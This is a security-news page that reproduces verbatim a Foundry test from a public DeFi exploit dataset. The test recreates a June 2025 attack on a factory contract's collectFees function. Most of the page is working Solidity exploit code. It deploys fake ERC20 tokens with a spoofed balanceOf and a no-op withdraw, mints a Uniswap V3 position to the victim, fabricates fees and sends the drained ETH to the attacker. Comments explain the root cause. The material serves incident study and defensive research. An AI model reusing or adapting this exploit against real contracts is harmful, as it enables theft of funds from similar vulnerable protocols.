Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/InitcodeFactoryFees_exp.sol

Public reproduction file for dataset entry InitcodeFactoryFees.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/InitcodeFactoryFees_exp.sol232 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2,383.25 USD
8// Attacker : 0xad2cb8f48e74065a0b884af9c5a4ecbba101be23
9// Attack Contract : 0x0c76c4911d92b99d0dab0a8a90b73e9ae3bc940f
10// Vulnerable Contract : 0x930f9fa91e1e46d8e44abc3517e2965c6f9c4763
11// Attack Tx : https://etherscan.io/tx/0x837752ca27743c9b37d901ff6cf9cdbe98b6097c660394a390de075455d8ccea
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x930f9fa91e1e46d8e44abc3517e2965c6f9c4763#code
15//
16// @Analysis
17// Telegram Alert : https://t.me/defimon_alerts/1366
18//
19// Attack summary: the attacker deployed fake ERC20 tokens, created a Uniswap V3 pool for them, minted
20// a fee-earning NFT position to the victim Factory, generated fake token fees, then called
21// Factory.collectFees(tokenId). The fake token reports an inflated victim balance once the victim
22// holds any fake tokens.
23// Root cause: collectFees authorizes the caller through token0.creator() and assumes token1 is WETH
24// without requiring token1 == WETH. A fake token1 can implement a no-op withdraw(), after which the
25// Factory sends real ETH to the fake token creator.
27address constant ATTACKER = address(uint160(0x00ad2cb8f48e74065a0b884af9c5a4ecbba101be23));
28address constant HISTORICAL_ATTACK_CONTRACT = address(uint160(0x000c76c4911d92b99d0dab0a8a90b73e9ae3bc940f));
29address constant VICTIM_FACTORY = address(uint160(0x00930f9fa91e1e46d8e44abc3517e2965c6f9c4763));
30address constant POSITION_MANAGER = address(uint160(0x00c36442b4a4522e871399cd717abdd847ab11fe88));
31address constant SWAP_ROUTER = address(uint160(0x0068b3465833fb72a70ecdf485e0e4c7bd8665fc45));
33uint24 constant POOL_FEE = 500;
34uint160 constant SQRT_PRICE_1_1 = 79_228_162_514_264_337_593_543_950_336;
35int24 constant MIN_TICK_500 = -887_270;
36int24 constant MAX_TICK_500 = 887_270;
37uint256 constant LP_AMOUNT = 100 ether;
38uint256 constant SWAP_AMOUNT = 10 ether;
39uint256 constant HISTORICAL_ETH_PROFIT = 979_332_749_999_999_999;
41interface IVictimFactory1366 {
42 function collectFees(
43 uint256 tokenId
44 ) external returns (uint256 amount0, uint256 amount1);
47interface INonfungiblePositionManager1366 {
48 struct MintParams {
49 address token0;
50 address token1;
51 uint24 fee;
52 int24 tickLower;
53 int24 tickUpper;
54 uint256 amount0Desired;
55 uint256 amount1Desired;
56 uint256 amount0Min;
57 uint256 amount1Min;
58 address recipient;
59 uint256 deadline;
60 }
62 function createAndInitializePoolIfNecessary(address token0, address token1, uint24 fee, uint160 sqrtPriceX96)
63 external
64 payable
65 returns (address pool);
67 function mint(
68 MintParams calldata params
69 ) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
72interface ISwapRouter1366 {
73 struct ExactInputSingleParams {
74 address tokenIn;
75 address tokenOut;
76 uint24 fee;
77 address recipient;
78 uint256 amountIn;
79 uint256 amountOutMinimum;
80 uint160 sqrtPriceLimitX96;
81 }
83 function exactInputSingle(
84 ExactInputSingleParams calldata params
85 ) external payable returns (uint256 amountOut);
88contract ContractTest is BaseTestWithBalanceLog {
89 function setUp() public {
90 vm.createSelectFork("mainnet", 22_801_926);
91 vm.roll(22_801_927);
92 vm.warp(0x685fb053);
94 fundingToken = address(0);
95 attacker = ATTACKER;
97 vm.label(ATTACKER, "Attacker");
98 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
99 vm.label(VICTIM_FACTORY, "Victim Factory");
100 vm.label(POSITION_MANAGER, "Uniswap V3 position manager");
101 vm.label(SWAP_ROUTER, "Uniswap V3 swap router");
102 }
104 function testExploit() public balanceLog {
105 uint256 attackerEthBefore = ATTACKER.balance;
107 FactoryFeeAttack attack = new FactoryFeeAttack(ATTACKER);
108 vm.deal(address(attack), 0);
110 vm.prank(ATTACKER);
111 attack.execute();
113 assertEq(ATTACKER.balance - attackerEthBefore, HISTORICAL_ETH_PROFIT);
114 }
117contract FactoryFeeAttack {
118 address private immutable profitReceiver;
120 constructor(
121 address receiver
122 ) {
123 profitReceiver = receiver;
124 }
126 receive() external payable {}
128 function execute() external {
129 FakeCreatorToken tokenA = new FakeCreatorToken("Fake Alpha", "FALPHA");
130 FakeCreatorToken tokenB = new FakeCreatorToken("Fake Wrapped ETH", "FWETH");
132 address token0 = address(tokenA) < address(tokenB) ? address(tokenA) : address(tokenB);
133 address token1 = token0 == address(tokenA) ? address(tokenB) : address(tokenA);
135 IERC20(token0).approve(POSITION_MANAGER, type(uint256).max);
136 IERC20(token1).approve(POSITION_MANAGER, type(uint256).max);
137 IERC20(token1).approve(SWAP_ROUTER, type(uint256).max);
139 INonfungiblePositionManager1366(POSITION_MANAGER).createAndInitializePoolIfNecessary(
140 token0, token1, POOL_FEE, SQRT_PRICE_1_1
141 );
143 (uint256 tokenId,,,) = INonfungiblePositionManager1366(POSITION_MANAGER).mint(
144 INonfungiblePositionManager1366.MintParams({
145 token0: token0,
146 token1: token1,
147 fee: POOL_FEE,
148 tickLower: MIN_TICK_500,
149 tickUpper: MAX_TICK_500,
150 amount0Desired: LP_AMOUNT,
151 amount1Desired: LP_AMOUNT,
152 amount0Min: 0,
153 amount1Min: 0,
154 recipient: VICTIM_FACTORY,
155 deadline: block.timestamp
156 })
157 );
159 ISwapRouter1366(SWAP_ROUTER).exactInputSingle(
160 ISwapRouter1366.ExactInputSingleParams({
161 tokenIn: token1,
162 tokenOut: token0,
163 fee: POOL_FEE,
164 recipient: VICTIM_FACTORY,
165 amountIn: SWAP_AMOUNT,
166 amountOutMinimum: 0,
167 sqrtPriceLimitX96: 0
168 })
169 );
171 IVictimFactory1366(VICTIM_FACTORY).collectFees(tokenId);
173 payable(profitReceiver).transfer(address(this).balance);
174 }
177contract FakeCreatorToken {
178 string public name;
179 string public symbol;
180 uint8 public constant decimals = 18;
181 uint256 public totalSupply;
182 address public immutable creator;
184 mapping(address => uint256) private balances;
185 mapping(address => mapping(address => uint256)) public allowance;
187 constructor(string memory tokenName, string memory tokenSymbol) {
188 name = tokenName;
189 symbol = tokenSymbol;
190 creator = msg.sender;
191 totalSupply = 1_000_000 ether;
192 balances[msg.sender] = totalSupply;
193 }
195 function balanceOf(
196 address account
197 ) external view returns (uint256) {
198 if (account == VICTIM_FACTORY && balances[account] != 0) return HISTORICAL_ETH_PROFIT * 2;
199 return balances[account];
200 }
202 function approve(address spender, uint256 amount) external returns (bool) {
203 allowance[msg.sender][spender] = amount;
204 return true;
205 }
207 function transfer(address to, uint256 amount) external returns (bool) {
208 _transfer(msg.sender, to, amount);
209 return true;
210 }
212 function transferFrom(address from, address to, uint256 amount) external returns (bool) {
213 uint256 allowed = allowance[from][msg.sender];
214 if (allowed != type(uint256).max) {
215 require(allowed >= amount, "allowance");
216 allowance[from][msg.sender] = allowed - amount;
217 }
219 _transfer(from, to, amount);
220 return true;
221 }
223 function withdraw(
224 uint256
225 ) external pure {}
227 function _transfer(address from, address to, uint256 amount) private {
228 require(balances[from] >= amount, "balance");
229 balances[from] -= amount;
230 balances[to] += amount;
231 }

Analysis

Dataset entry

Public Foundry test for “InitcodeFactoryFees” (2025-06-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xad2cb8f48e74065a0b884af9c5a4ecbba101be23

  • Attack Contract

    0x0c76c4911d92b99d0dab0a8a90b73e9ae3bc940f

  • Vulnerable Contract

    0x930f9fa91e1e46d8e44abc3517e2965c6f9c4763

  • Attack Tx

    0x837752ca27743c9b37d901ff6cf9cdbe98b6097c660394a390de075455d8ccea

File record

Name
InitcodeFactoryFees
Path
src/test/2025-06/InitcodeFactoryFees_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e9e815918242dc1b75c6ac0e5d2fa604946dfc9c
Language
Solidity
Size
233 lines
Date
2025-06-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/InitcodeFactoryFees_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e9e815918242dc1b75c6ac0e5d2fa604946dfc9c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.